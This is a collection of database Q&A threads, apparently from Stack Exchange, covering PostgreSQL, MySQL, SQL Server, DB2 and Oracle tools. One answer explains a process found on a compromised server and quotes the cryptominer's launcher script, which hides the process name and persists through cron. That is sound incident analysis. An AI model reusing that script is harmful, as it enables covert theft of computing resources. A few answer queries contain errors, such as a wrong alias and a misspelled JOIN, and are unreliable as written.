Multiple database directories with postgresql I installed postgresql from source on Ubuntu 14.0.4. It is located in /usr/local/pgsql. At first, I created a data directory at /usr/local/pgsql/data and then ran

initdb -D /usr/local/pgsql/data

I noticed inside this directory was a postgresql.conf.

Later I decided I wanted to put the data directory in the /var directory, since it is variable data. So I created a directory at /var/local/postgresql/9.4.2/main (I guess I should have named it data, but when using the repositories it uses main and I decided to follow that). Then I ran initdb again but this time specifying a new data directory:

initdb -D /var/local/postgresql/9.4.2/main

And pretty much it created the same data files as it did before, including the postgresql.conf. This time I opened up the postgresql.conf at /var/local/postgresql/9.4.2/main and gave it a default data directory:

data_directory = '/var/local/postgresql/9.4.2/main'

Now, at this point I wanted to start the postmaster daemon but I want the daemon to read the data directory from /var/local/postgresql/9.4.2/main rather than me specifying it as a flag. Unfortunately, it doesn't work:

$ pg_ctl start
pg_ctl: no database directory specified and environment variable PGDATA unset
Try "pg_ctl --help" for more information.

How can I get this to work?

I got this working without specifying database directory, but you do need to specify the configuration file, so that the pg_ctl binary will know which data directory to use. So for example:

pg_ctl -D /etc/postgresql/9.4.2/main start


Periodic aggregations on MongoDB Atlas I have been developing a solution that uses MongoDB Atlas (currently M0) for storage. As I would need to provide some statistics throughout different time periods, I need to run periodic aggregations on hourly, daily, weekly, and monthly basis.

As the project is still small, I would prefer not to deploy Spark engine and not upgrade to higher Tier with map reduce functionalities. Considering this, I would be glad for any advice about how to periodically aggregate the raw documents.

MongoDB Stitch triggers enable you to execute application and database logic automatically, either in response to events or based on a pre-defined schedule.

As per MongoDB official documentation, Stitch supports three types of triggers:

  Database triggers, which can automatically respond when documents are
  added, updated, or removed in a linked MongoDB collection.

  Authentication triggers, which execute additional server-side logic
  when a user is created, authenticated or deleted.

  Scheduled triggers, which execute functions at regular intervals
  according to a pre-defined schedule.

The Scheduled triggers may help you in achieving your expected behavior.


Standard data types for email address, telephone number , first name, rixh text editor, etc I want to build a database for our system using Sql Server 2008 R2. but i need to know what are the best data types for storing these info:-

Email address
Telephone number with extension, such as +44 12345 ext 123
First Name
Rich Text editor. we have a field named "Position Role" or "Main duties", which stores a full description of each employee's roles.

Can anyone adivce on this please?
Thanks

E-mail address: I go with NVARCHAR(320) - 64 characters for local part + @ + 255 for domain name. You may also consider normalizing the domain away, since it's pretty wasteful to store hotmail.com 500,000 times when a much smaller INT or even SMALLINT is probably capable (I don't know how many domains you plan to support). I used to be against NVARCHAR but the standard has expanded to support Unicode characters, so even though most mail servers in the world will reject them, better safe than sorry. Next will be to enforce validation - you can read all you want to know about valid formats, and then some, on Wikipedia.
Telephone Number: Probably some varchar in the 25-30 range (here you don't need Unicode support). Unless you know for sure you will only support phone numbers from certain geographical areas, then your choice is much simpler. What is "best" is hard for us to gauge - do you want perfect storage for the formats you support now, or more flexible storage in case you support more later or in case people are sloppy at entering form data and you still want to capture whatever they entered.
First name: Completely subjective. Probably nvarchar(50) but I agree with @kevinsky - ask the business people what they think the longest first name is (or, if you have source data in another system, verify), then double it. Because I promise as soon as someone puts some artificial limit on the length, someone will come along and break the rule.
Role: Again, this is pretty subjective. Is this supposed to be a paragraph of text, or an autobiography? You will need to decide if you want to allow some finite number of characters (say, nvarchar(1000)) or much larger than standard formats (e.g. nvarchar(max), which supports up to 2GB of data per row). You should also take total row size into consideration - it may be easy to pick nvarchar(4000) but you will quickly exceed the row size and force some of that data to be stored inefficiently if people really use it. If a role is tied to a title and not a specific person, this should probably be stored elsewhere anyway.

Make sure your form fields are set to these max lengths, make sure any input is validated and sterilized, and make sure you use parameterized inputs to avoid SQL injection attacks.


SQL query with multiple many-to-one joins I want to select a count of all surveys where the survey.property.address.city == "Garrison". I have the following tables (stripped for your convenience):

surveys                 properties             addresses
----------------        ---------------        ---------
id | property_id        id | address_id        id | city

And the failing query:

SELECT count(*)
FROM   surveys s
JOIN   properties p ON s.property_id = p.id
JOIN   addresses a ON p.address_id = a.id
WHERE  a.city = "Garrison"

The error message as follows:

ERROR:  column "Garrison" does not exist
LINE 5: WHERE addresses.city = "Garrison";

Use single quotes instead of double:

SELECT count(*)
FROM   surveys s
JOIN   properties p ON s.property_id = p.id
JOIN   addresses a ON p.address_id = a.id
WHERE  a.city = 'Garrison'


Construct an SQL query to find the names of each department with more than 5 professors Schema

Student         (id integer, name string, address string, status string)
Course        (crsCode string, deptID string, crsName string, descr string)
Transcript     (studentID integer, crsCode string, semester string, numericGrade double)
Teaching        (profID integer, crsCode string, semester string)
Department    (deptID string, name string, budget integer)
Professor        (id integer, name string, deptID string)

SELECT Department.name
FROM Department
JOIN Professor
ON Professor.deptID == Department.deptID
HAVING COUNT(Professor.id) > 5;

I don't know why, but for some reason this SQL query is not working. Please help me if you can.

Let's do this a little more visually:
SELECT dept.name as department_name, COUNT(prof.id) as professor_count
  FROM Department dept INNER JOIN Professor prof ON prof.deptID = dept.deptID
 GROUP BY dept.name
 ORDER BY professor_count DESC;

This will give you all departments plus the count of professors sorted by (arguably) the most expensive departments. Seeing the data in front of you will allow you to verify its correctness before continuing.
Now, if you want to show just the departments with more than five professors, you can add HAVING professor_count > 5 between GROUP BY and ORDER BY.


MySQL 5.6 "temporal columns" upgrade - datetime etc. I upgraded from MySQL 5.1 to 5.6.17. Now in Wordpress plugins some of my timestamp columns have started behaving strangely.

MySQL documentation on this very critical feature enhancement (decimals in timestamp fields) is sloppy. SO one relies on blogs/websites.

Some websites such as this recommend ALTER TABLE...FORCE.

But this did nothing for the older data. Some tables which rely on the uniqueness of the timestamp field, now have ".0000" in the 4 digit suffix. Even the ALTER TABLE FORCE didn't change that data.

Any ideas on what we can do instead of manually tinkering with the timestamp fields? Thanks!

There are two things here, updating the table structure to 5.6 format and handling the new features.

For the upgrade, run the mysql_upgrade script to check for format incompatibilities. For those tables that it tells you to REPAIR them, run REPAIR TABLE your_table if they are MyISAM and ALTER TABLE your_table ENGINE=InnoDB if they are InnoDB. That will reconstruct those tables (they will be locked while that happens) to avoid any incompatibility issues.

Once you have done that, in relation to temporal SQL changes, the idea is that a TIMESTAMP (and DATETIME, TIME) is now really a TIMESTAMP(0). You can also create TIMESTAMP(n), where n is the number of decimals. That shouldn't tamper any uniqueness of time fields, but you must understand that functions like seconds() can return now a decimal, not an integer.

The other change, making TIMESTAMPs not "DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP" are not enabled by default (they mimic the old behaviour). But it is deprecated and can be disabled with the variable explicit_defaults_for_timestamp.

Relaying on now() for creating unique keys is and was already a broken design, because you can insert two rows on the same second. You shouldn't do that.


MySQL Union All Causing date field to lose format I have 3 subqueries that work fine individually. I am attempting to join them with Union All. The query runs and gives the correct number of results but the format of the date field is messed up; for example '2016-11-01' is showing as '2,016, -11, -01'. This is the same for every row.

I've had a search and have found some threads concerning aliases but they do not seem to be the problem here as the query is running fine, with the exception of the date format.

Any help would be appreciated, thanks.

Here is the code:

    # offers_8a
    SELECT advisor, ats_id, offer_date
    FROM max_offers
    WHERE offer_date > (CURDATE()- INTERVAL 135 DAY)
    GROUP BY advisor, ats_id, offer_date

    UNION ALL

    # offers_8b
    SELECT mo.advisor, mo.ats_id, mo.offer_date

    FROM max_offers as mo
        INNER JOIN source_tables.ats as ats
            ON mo.ats_id = ats.ats_id

        INNER JOIN source_tables.intake_corrections as ic
            ON ats.intake = ic.sugar_name

        INNER JOIN source_tables.intakes as it
            ON ic.intake = it.intake

        INNER JOIN source_tables.dates as dt
            ON ic.intake = dt.current_intake

    GROUP BY mo.advisor, mo.ats_id, mo.offer_date, it.adms_intake_start

    HAVING offer_date > (it.adms_intake_start - INTERVAL 135 DAY)

    UNION ALL

    # offers_8c
    SELECT mo.advisor, mo.ats_id, mo.offer_date

    FROM max_offers as mo
        INNER JOIN source_tables.ats as ats
            ON mo.ats_id = ats.ats_id

        INNER JOIN source_tables.intake_corrections as ic
            ON ats.intake = ic.sugar_name

        INNER JOIN source_tables.intakes as it
            ON ic.intake = it.intake

        INNER JOIN

            #s_prev_intake
            (SELECT current_next_intakes.current_intake, assign,         forecast_intake, forecast_intake_sugar

                FROM source_tables.dates
                    INNER JOIN source_tables.current_next_intakes
                        ON source_tables.dates.current_intake =  source_tables.current_next_intakes.current_intake

                WHERE assign = 'Prev') AS prv

            ON ic.intake = prv.forecast_intake

    GROUP BY mo.advisor, mo.ats_id, mo.offer_date, it.adms_intake_start

    HAVING offer_date > (it.adms_intake_start - INTERVAL 135 DAY);

I have fixed this by enclosing the Union in brackets and using it as a derived table in a Select query, didn't need to alter any formats etc.

Is it always best to do this with Union queries? The examples I found online did not show this.

Thanks


Looking for simple contains method when searching text in postgresql Im new to the PostgreSQL world so I do apologize in advance for not knowing if there is an obvious answer to these questions.

Basically I'm looking for two things. First a simple "contains" based search where the python equivalent would be something like:

def find_all_containing( input_array=[], target ):
    output=[]
    for i in input_array:
        if target in i:
            output.append(i)
    return(output)

In the database that I'm currently building, logically, I'm inclined to believe that the SQL command would look a bit like this if I were trying to show all of the snippet titles that contained 'evil' in the description.

SELECT title FROM snippets WHERE 'evil' in description;
/* or */
SELECT title FROM snippets WHERE description CONTAINS 'evil';

I wrote an inline python function that returns a 'TRUE' or 'FALSE' to make the following work.

/* contains function here */
CREATE FUNCTION contains (input_text text, target text) RETURNS text AS $$
if target in input_text:
  return("TRUE")
return("FALSE")
$$ LANGUAGE plpythonu;

/* working command of the script */
SELECT title FROM snippets WHERE contains(description,'Evil')='TRUE';

This works and should stop me from asking, but I would really prefer to learn how the SQL world would solve this because the whole point of learning SQL was to learn how to work the database instead of just finding another way to mold python to recreate a nosql feel.

The second thing is, this isn't the first time I've thrown together some python snippet to bring more of a pythonic mentality to the database. For those who are well dug into the SQL world am I missing out on something by doing this? I get it for speed but if speed is ever an issue, I would assume that I just need to rewrite the implementation in C.

Keeping it as simple as I can has worked out pretty well so far and this works as is for now. But, when I find myself embedding another language into the code for nearly every solution, thats when I start asking if I'm missing a bigger picture.

There are two typical ways to express this.

With LIKE infix search:

SELECT title FROM snippets WHERE description LIKE '%evil%';

or with position:

SELECT title FROM snippets WHERE position('evil' in description) > 0;

Note that neither are indexable by default. Search for "infix search index" for more info on that, and look into pg_trgm if you need it.


Left Joining Tables with tables that have subquery aggregate I'm tring to list every personID in the person table while left joining it to the POSEligibility table that may not have a personID entry or if it does may have multiple entries as a personID is created for each startdate entry. New startdates are added each year for those eligible. Which is why i'm using the MAX Aggergate on startdate. I only want the most recent date. If I remove the subquery I get all my personIDs from the person table with NULL entries for those personIDs that don't have a startdate as expected. But I also get all the startdates that each personID has, since of course the Aggergate is missing. Any ideas?

SELECT
  per.personID
 ,id.lastName
 ,id.firstName
 ,id.middleName
 ,CONVERT(VARCHAR(10), pos1.startDate, 101) AS StartDate
 ,cal.name
 ,en.grade
 ,pos1.eligibility
FROM dbo.Person per
LEFT OUTER JOIN dbo.POSEligibility pos1
  ON per.personID = pos1.personID
INNER JOIN dbo.[Identity] id
  ON per.personID = id.personID
INNER JOIN dbo.Enrollment en
  ON per.personID = en.personID
INNER JOIN dbo.Calendar cal
  ON en.calendarID = cal.calendarID
INNER JOIN (SELECT
    pos2.personID
   ,MAX(pos2.startDate) AS startdate
  FROM dbo.POSEligibility pos2
  GROUP BY pos2.personID) pos2
  ON pos2.personID = pos1.personID
    AND pos2.startdate = pos1.startDate
WHERE en.grade = '01'
AND cal.name LIKE '%BES'
AND en.active = '1'
AND en.endYear = '2017'
GROUP BY per.personID
        ,pos1.startDate
        ,id.lastName
        ,id.firstName
        ,id.middleName
        ,cal.name
        ,en.grade
        ,pos1.eligibility

SELECT per.personID,
       id.lastName,
       id.firstName,
       id.middleName,
       pos.StartDate,
       cal.[name],
       en.grade,
       pos.eligibility
FROM dbo.Person per
     INNER JOIN dbo.[Identity] id ON per.personID = id.personID
     INNER JOIN dbo.Enrollment en ON per.personID = en.personID
     INNER JOIN dbo.Calendar cal ON en.calendarID = cal.calendarID
     OUTER APPLY
(
    SELECT TOP 1 p.eligibility,
                 StartDate = CONVERT( VARCHAR(10), p.startDate, 101)
    FROM dbo.POSEligibility AS p
    WHERE p.personID = per.personID
    ORDER BY p.startDate DESC
) AS pos
WHERE en.grade = '01'
      AND cal.[name] LIKE '%BES'
      AND en.active = '1'
      AND en.endYear = '2017';

Note that the filter on cal.[name] is not sargable. This means that even if that column is indexed, the index will not be used for a seek due to the leading "%" in the predicate.


Add a DB2 catalog to a new remote server and make it work I'm trying to add a new database catalog to my client environment in a windows server machine.

So I've run the db2cmd tool and then the db2 tool on a windows command console once there I executed the command:

db2 => list db directory

 System Database Directory

 Number of entries in the directory = 2

Database 1 entry:

 Database alias                       = DB01
 Database name                        = DB01
 Node name                            = DB01
 Database release level               = d.00
 Comment                              =
 Directory entry type                 = Remote
 Catalog database partition number    = -1
 Alternate server hostname            =
 Alternate server port number         =

Database 2 entry:

 Database alias                       = DB02
 Database name                        = DB02
 Node name                            = DB02
 Database release level               = d.00
 Comment                              =
 Directory entry type                 = Remote
 Catalog database partition number    = -1
 Alternate server hostname            =
 Alternate server port number         =

Then I add a new catalog following the docs:

db2 => catalog tcpip node DB03 remote ***.***.***.*** server *****
DB20000I The CATALOG TCPIP NODE command completed successfully.
DB21056W The directory changes may not take effect until the directory cache is
updated.

After that I run list db directory again and the result was the same as previous one. I then, run the command:

 db2 => list node directory

  Node Directory
  Number of entries in the directory = 3

 Node 1 entry:
  Node name                      = DB01
  Comment                        =
  Directory entry type           = LOCAL
  Protocol                       = TCPIP
  Hostname                       = ***.***.***.***
  Service name                   = *****

 Node 2 entry:
  Node name                      = DB02
  Comment                        =
  Directory entry type           = LOCAL
  Protocol                       = TCPIP
  Hostname                       = ***.***.***.***
  Service name                   = *****

 Node 3 entry:
  Node name                      = DB03
  Comment                        =
  Directory entry type           = LOCAL
  Protocol                       = TCPIP
  Hostname                       = ***.***.***.***
  Service name                   = *****

So the node was created but it didn't show on the directory list, looking through the docs it says that I should run the terminate command

  Notice:
  The command terminate is needed to refresh the directory cache.

Then it leave the db2 terminal and then I entered it again run the list db directory and again nothing changed.

So, my question is: How do I refresh the database directory??

I'm new to DB2. I have a lot experience with Oracle and what I could understand that this configuration is like adding a new entrance on the the tnsnames.ora file

Node directory and database directory are different things. The node directory lists DB2 instances. The database directory lists databases in those instances.

Once you have added a node to the node directory, you will need to catalog a database on that node:

catalog db yourdb at node db03


How to use password with special chars in postgressql .pgpass file How to use password with special chars like repl#stg$12 in postgressql .pgpass file?
db1:5433:replication:repl:repl#stg$12
I added entry like this in .pgpass but it's prompting for password when I connect.

There's only one quoting rule for .pgpass according to the documentation:

 If an entry needs to contain : or \, escape this character with \.


slow count on text column Table t1 with 500k rows, 2TB in size, one text column. SQL Server 2008 R2 SP3.

CREATE TABLE [dbo].[t1](
    [TId] [int] IDENTITY(1,1) NOT NULL,
    [Weight] [int] NULL,
    [TDate] [datetime] NULL,
    [text_column] [text] NULL,
    [CreatedDate] [datetime] NULL,
    [UpdatedDate] [datetime] NULL,
    [LastUpdatedBy] [varchar](255) NULL,
 CONSTRAINT [PK_t1] PRIMARY KEY CLUSTERED
(
    [TId] ASC
)

This is running forever:

SELECT COUNT(*) FROM t1 WHERE text_column IS NOT NULL

Unable to change the table, can only fix this with new indexes. But can't create an index on the text column. No experience with full text indexes.

What should I do to improve it, please ?

I suggest a filtered index:

CREATE INDEX ix_valid_text_column
  ON dbo.t1(Tid)
  WHERE text_column IS NOT NULL;

Now your query should be able to use that index instead of the clustered index, and it should be much more efficient.

Even better, it enables you to look at the metadata views, so you read one row (or a number of rows equal to the number of partitions) instead of doing any sort of manual count:

SELECT SUM(p.rows)
FROM sys.partitions AS p
INNER JOIN sys.indexes AS i
  ON o.[object_id] = i.[object_id]
  AND o.[index_id] = i.[index_id]
INNER JOIN sys.tables AS t
  ON t.[object_id] = t.[object_id]
WHERE t.name = N't1'
  AND t.[schema_id] = 1
  AND i.name = N'ix_valid_text_column';

The query looks uglier but it will be far more efficient (in spite of what the execution plan may tell you), especially if the number of non-NULL values is small, and especially if the table is high-volume (your current query can block and can be blocked).


SSIS Script Task appears to run, but actually doesn't I have a script task  that appears as running fine, but no matter what I put inside nothing ever get executed.  I tried all sort of stuff: logging via the built in SSIS Logging mechanism, logging through additional variables and SQL Command task and I can never figure what's wrong.  I tried to put breakpoint and it won't break during debugging.

This is VS 2015 with SQL 2016.  This issue happens only when deployed on one of the SQL Server.  I previously has no issue at all at that server.  I deployed the same package on a different SQL box (same configuration) and it ran as expected.

EDIT: To better clarify the problem I started a new SSIS Package, it only 3 script tasks in it:

Test Task:

    public void Main()
    {
        // TODO: Add your code here

        Dts.TaskResult = (int)ScriptResults.Failure;
    }

Once the Test Task is completed, it is linked to a "Success Task" if the test is successful, a "Fail Task" if it fails.

On VS, the test task fail as expected and goes to the fail task.  However once deployed it stop working.

There are 3 things you can check:

(1) The TargetServerVersion property

Check that you are selecting the appropriate TargetServerVersion property

GoTo Project Properties >> Configuration Properties >> TargetServerVersion

(2) ForceExecutionResult property Value

Click on Fail Task and press F4 to show the perperty Tab, check that ForceExecutionResult is set to False.

(3) Run in 32-bit mode

Try running the package in 32-bit mode:

GoTo Project properties >> Debugging >> Run64BitRuntime  = False


Finding how many times a value is shown on a table - Postgresql I am trying to find employees that sold the most different type of subscriptions. The tables are:

Employee(PK employee_id, name, email, phone_number)
Person(PK email, ...)
Order (PK invoice_id, customer_name, customer_email, FK product_id)
Product (PK product_id, FK subscription_type, service_provider)
Subscription(PK subscription_type, price)

I can get some results but instead of finding how many types of subscription an employee sold, I get the number of subscriptions sold by the employee by subscription type.

SELECT COUNT (employee_id),employee_id,
                            s.subscription_type AS type
FROM employee
INNER JOIN person p USING(email)
INNER JOIN order o USING(email)
INNER JOIN product pr ON o.product_id = pr.product_id
INNER JOIN subscription s ON pr.subscription_type = s.subscription_type
GROUP BY employee_id,
         s.s
ORDER BY employee_id

an example:

    +-------+-------------------------------+----------+
    | count | employee_id                   | type     |
    +-------+-------------------------------+----------+
    |     3 |                          1111 | monthly  |
    |     2 |                          1111 | yearly   |
    |     2 |                          2222 | monthly  |
    |     1 |                          2222 | lifetime |
    |     5 |                          2222 | yearly   |
    +-------+-------------------------------+----------+

but I don't  want to see how many monthly he sold, I want to see how many different types he sold. In this case that would be (111,2) and (222,3). I am missing something obvious here, please help me find it.

Test

SELECT employee.employee_id,
       COUNT(DISTINCT pr.subscription_type) AS types_count
FROM employee
INNER JOIN person p USING(email)
INNER JOIN order o USING(email)
INNER JOIN product pr ON o.product_id = pr.product_id
-- INNER JOIN subscription s ON pr.subscription_type = s.subscription_type
GROUP BY employee.employee_id
ORDER BY employee_id


Tickets created and resolved (or merged) per year In a third-party application (RT4) running on MySQL 5.5 I have a series of helpdesk tickets represented as records in a table. Each record has a date/time created, a date/time resolved, and a merge flag (NULL or 1).

id int(11) AI PK, Created datetime, Resolved datetime, IsMerged smallint(6)

When the ticket is created the created field is populated and the resolved field and merge flag are NULL. When the ticket is closed the resolved field is populated. If the ticket is a duplicate the merge flag is set to 1, and the resolved date is set to 1970-01-01 00:00:00.

I've looked at a number of the offered related answers and of those mysql: counting number of tickets which are open per day basis seemed the most promising. I feel it's almost what I need but I can't extrapolate from the answers there to my use case.

I can list the number of tickets created per year easily enough -

select year(Created) as Created_Yr, count(*) as N_Tickets from rt4.Tickets
group by year(Created)
order by 1

A similar query can list the set of non-merged tickets per year -

select year(Resolved) as Resolved_Yr, count(*) as N_Tickets from rt4.Tickets
where Resolved is not null
group by year(Resolved)
order by 1

However, what I would like is to list the number of tickets resolved or merged, per year.

I can do this year by year like this -

select 2016 as Resolved_Yr, count(*) as N_Tickets from rt4.Tickets
where ( Resolved >= '2016-01-01' and Resolved < '2017-01-01' )
or ( Created >= '2016-01-01' and Created < '2017-01-01' and IsMerged = 1 )

We have data from years 2012 to 2017 and I'm hoping to avoid having to run a query per year and manually collate the results.

Is there a query that will list the Resolved year (or the Created year if the ticket was merged), for all years present in the database?

SELECT *
  FROM ( SELECT DISTINCT year(Created) AS Created
           FROM rt4.Tickets
       ) AS w

  LEFT JOIN ( SELECT year(Resolved) AS Resolved
                   , count(*) AS resolved_cnt
                FROM rt4.Tickets
               WHERE Resolved IS NOT NULL
               GROUP BY year(Resolved)
            ) AS z
         ON z.Resolved = w.Created

  LEFT JOIN ( SELECT year(Created) AS Created
                   , count(*) AS merged_cnt
                FROM rt4.Tickets
               WHERE Merged IS NOT NULL
               GROUP BY year(Created)
            ) AS q
         ON q.Created = w.Created
;

Sure you have to remember that functional restrictions like year() in the WHERE, JOIN...ON or GROUP BY clauses cannot be speeded up by indexes and can be VERY slow.

I hope that query wouldn't be runned on the regular basis.


Commands out of sync; you can't run this command now I have a query which was working fine a few days back:
SELECT
    id, title, details, filetype, filepath, size, details, location, datetime,
    IF(hid=1, 'Anonymous',
        (
            SELECT name
            FROM users
            WHERE did = userid
        ))
    AS username
FROM infotable
WHERE ext2!='0'
ORDER BY id DESC
LIMIT 50

but a couple of days back, it started giving an error:

Commands out of sync; you can't run this command now

I am calling it from a PHP page but I have also tried it from MySQL's GUI to run it as SQL query. It gave the the same error:

When I googled, I found that it may be due to MySQL to MySQLi update. I tried a lot to write an alternate query using MySQLi, but every time I got an error (Some times the same error and some times other errors).
My questions are:
1. What this can be called as: Sub Query or Multi Query
2. What is the exact error and what is its solution?

I think this Stack Overflow question is related to your query:

PHP Commands Out of Sync error

It's because results are not completely fetched before another call. PHP docs has a solution read this too:

http://www.php.net/manual/en/mysqli.query.php#102904


How large are blocks of data in SQL Server? I'm working in SQL Server 2008 R2 and have created a query that gathers and sums the total of data files and log files' sizes. However, I can't find how much actual disk space a single block of SQL data takes up on the disk so I can convert it into something more meaningful.

Here is the script:

DECLARE @DataSize INT
DECLARE @LogSize INT
SELECT @DataSize = SUM(size) from sys.database_files where type_desc = 'Rows'
SELECT @LogSize = SUM(size) from sys.database_files where type_desc = 'Log'
PRINT @DataSize
PRINT @LogSize

How large is one block of space? Would it be easy to convert those two integer variables into something more meaningful for a sysadmin?

From the column documentation of sys.database_files:

  size:  Current size of the file, in 8-KB pages.

So a more meaningful query might be something like this:

SELECT
    df.name AS LogicalFileName,
    df.physical_name AS PhysicalPath,
    CONVERT(int, (((df.size * 8192) / 1024.0) / 1024.0)) AS SizeInMB
    FROM sys.database_files df;

(You can expand on that further as necessary.)


MySQL migration physical server VMware virtual server How to migrate physical MySQL server to VMware virtual server with all db and user privileges

You would almost certainly be better off doing a fresh install, taking a backup using xtrabackup, and restoring the config files and the backup into the install inside the VM. That way you could even do it with only seconds of downtime by using replication up to the moment you switch over.


sqlldr not recognizing new line/row Our organization switched to a new tool and now our text files are generated with only a trailing CR instead of a CR & LF.  Now sqlldr thinks all of the data in the file is 1 row.  How can I fix this?

Here is our typical setup:

    ------------------------------
    -- CREATE THE CONTROL FILE:
    ------------------------------
    SET HEADING OFF PAGES 0 FEEDBACK OFF VERIFY OFF TERM OFF;
    SPOOL &&client-ws.ctl

    SELECT  'load data ' || CHR (10) ||
            'infile * ' || CHR (10) ||
            'TRUNCATE ' || CHR (10) ||
            'into table TMP_ID_LIST' || CHR (10) ||
            'FIELDS TERMINATED BY ''    '' ' || CHR (10) ||
            '( ' || CHR (10) ||
            'ID )' FROM DUAL;

    SPOOL OFF;

    ------------------------------
    -- LOAD FROM FILE INTO TABLE:
    ------------------------------
    HOST sqlldr control=&&client-ws.ctl  data=&&input_file log=&&client-ld.log userid=&&userid/&&password@&&db silent=header direct=y

In the paricular case i'm trying to solve, it is only 1 column.  Example data:

    b55369fd-3919-4baf-808c-ceacfe5afaac
    b8c54bf7-7fba-4569-bd75-54f7fc9d5210
    75c48437-8acf-4c34-ab76-a0d5c282d81f
    d62272fe-5132-42ec-aea8-f084151168d4

Halp pweez :D - Thanks!

The obvious solution is to have your tool generate the output in the proper format.

If that is not possible, just use dos2unix or unix2dos on the file before processing, depending on the direction you need. Both utilites are provided as part of the dos2unix package that can be installed from the default Linux repositories, or downloaded seperately.

Other alternatives involve perl, sed or tr: https://en.wikipedia.org/wiki/Unix2dos

unix2dos:

perl -i -p -e 's|[\r\n]+|\r\n|g' file

  or

sed -i -e 's/\r*$/\r/' file

dos2unix:

tr -d '\r' < file > file2 # For ASCII and other files which do not contain multibyte characters (Not utf-8 safe).

  or

perl -i -p -e 's/\r//g' file

  or

sed -i -e 's/\r//g' file


why do i have that unnatural process on my server i have an abnormal process on my RedHat server i tried to kill it but it appears again and because of that process i can't start my fusion middleware
any ideas please
when I execute the command TOP that line appear
pid     user               cpu   command
31183   oracle            598     .

I have seen something similar to this once on a clients system about 1,5 years ago, in
2019 January.
The symptoms were also similar. Even the 600% CPU usage was the same.
In that case, the command was disguised as ld-linux-x86-64, not ., something like this:
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
23971 oracle    20   0  592404   5616   4788 S 593,8  0,0  20:40.20 ld-linux-x86-64

top does not display the whole command in its output.
If the command used is ld-linux-x86-64                                                                                something (with lot of spaces), then if your terminal is not big enough, top will just display ld-linux-x86-64          with some spaces until the end of line.
However, checking with ps, I was able to see the whole command (I trimmed some of the spaces for readability).
ps -ef | grep 23971

oracle   23971     1 99 16:53 ?        00:21:37 -bash ...          ... --library-path stak stak/xmrig

The owners of this server (dont ask me why) allowed direct SSH access from public internet to this server. The password of oracle user was also quite simple. The process belonged to a cryptocurrency malware, and if I remember correct, it was mining Monero cryptocurrency. I also found the remote address it sent it in less /home/oracle/.ssh/stak/config.json.
This is how it hid itself (I removed the remote server address and credential from the script below...):
$ cat /home/oracle/.ssh/run
#!/bin/bash
#ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid
#do
#kill -9 $procid
#done
proc=`nproc`
ARCH=`uname -m`
HIDE="-bash"

if [ "$ARCH" == "i686" ];       then
        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://xxx.xxx.xxx.xxx:xxxx -u ... -p x >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig >>/dev/null &
fi
echo $! > bash.pid

Killing it did not stop it as it scheduled itself in cron and checked itself every minute:
$ crontab -l
* * * * * /home/oracle/.ssh/upd >/dev/null 2>&1

To be honest, I do not think this is an Oracle issue...


As the error message says.
When you use GROUP BYand ONLY_FULL_GROUP_BY is enabled(which should always be:
Then all Columns of the SELECT have to be in the GROUP BY or has to have a aggregation function
So your query should be
SELECT u.user_id, MIN(uc.first_name), MIN(uc.last_name), GROUP_CONCAT(ur.role_name) roles
 FROM user u
  LEFT JOIN user_contact uc ON u.user_id = uc.user_id
  LEFT JOIN user_role_mapping urm ON urm.user_id = u.user_id
  LEFT JOION user_role ur ON ur.role_cd = urm.role_cd
  WHERE urm.org_id = 1
 GROUP BY u.user_id;


Postgres: strange long request: A is fast, B is fast, A WHERE IN B is slow There is a lot of rows in table "logs" (the Request A FROM).

Request A is quick and Request B is quick.

Put together, Request A WHERE IN Request B is very long. Is that normal?

Request A is very quick:

--request A
SELECT "rid", max("createdAt") as "createdAt"
FROM "logs"
WHERE "rid" IN (17,71,196,187,111,86,108,81,54,184,245,27,118,100,175,136,130,67,45)
GROUP BY "rid";

Request B is very quick:

--request B
SELECT "dr"."rid"
FROM (
  SELECT *
  FROM (
    SELECT "eid", "tid", count(*) over (partition by "eid", "tid") count, id as "rid"
    FROM rs
    WHERE "deletedAt" is NULL
  ) "nr"
WHERE count > 1
) "dr"
INNER JOIN teams ON teams.id = "dr"."tid"
INNER JOIN projects ON projects.id = teams."pid"
ORDER BY "eid", "tid"

The result of B is the same list of numbers than in request A WHERE IN.

Replacing request A WHERE IN by request B, it becomes very slow.

Postgres: 9.5.6

Query plan for Request A:

Query plan or Request B:

Query plan for Requast A WHEREIN B:

Put together, Request A WHERE IN Request B is very long. Is that
  normal?

Yes, that's fairly common when elaborating queries. In the first case, the IN(...) clause has only a handful of constants. The planner knows exactly how many values and how frequent they are in the table, so it has a good chance to find an optimal execution plan (in this case, an index scan).

When the inside of this IN (...) clause is replaced by a subquery, the planner may mis-estimate the number of values that this subquery will produce, or their frequency, or both, especially if the subquery is complex, and so it may choose a non-optimal plan compared to when there is a list of constants inside IN (...).


Sql servr 2014 instant to sql server 2008 r2 instance linked servers query problem I'm getting the following error  on some of the linked server,when I try to query a table using a link server. The link server is created on SQL2014 instance to connect to an SQL2008r2 instance.

What Provider are you using? Try the "Microsoft OLE DB Provider for SQL Server" or the "SQL Server Native Client".
Also ensure the permissions in the linked server are correct, and that the account actually has access to the database on the remote server.


Is it possible that the old primary follow the new secondary? I need to change the roles between two nodes.

Circumstance:

2servers:

primary: psql01 and
standby: psql02

After psql01 stops, psql02 becomes the new primary. After a while, start psql01

On psql01:

[-bash-4.2$ repmgr -f /var/lib/pgsql/repmgr/repmgr.conf cluster show
 ID | Name         | Role    | Status               | Upstream | Location | Priority | Timeline | Connection string
----+--------------+---------+----------------------+----------+----------+----------+----------+---------------------------------------------
 1  | psql01       | primary | * running            |          | default  | 100      | 7        | host=psql01 user=repmgr dbname=repmgr
 2  | psql02       | standby | ! running as primary |          | default  | 100      | 8        | host=psql02 user=repmgr dbname=repmgr

WARNING: following issues were detected
  - node "postgresql02" (ID: 2) is registered as standby but running as primary](url)

On psql02:

repmgr -f /var/lib/pgsql/repmgr/repmgr.conf cluster show

     ID | Name         | Role    | Status    | Upstream | Location | Priority | Timeline | Connection string
    ----+--------------+---------+-----------+----------+----------+----------+----------+---------------------------------------------
     1  | psql01       | primary | ! running |          | default  | 100      | 7        | host=psql01 user=repmgr dbname=repmgr
     2  | psql02       | primary | * running |          | default  | 100      | 8        | host=psql02 user=repmgr dbname=repmgr

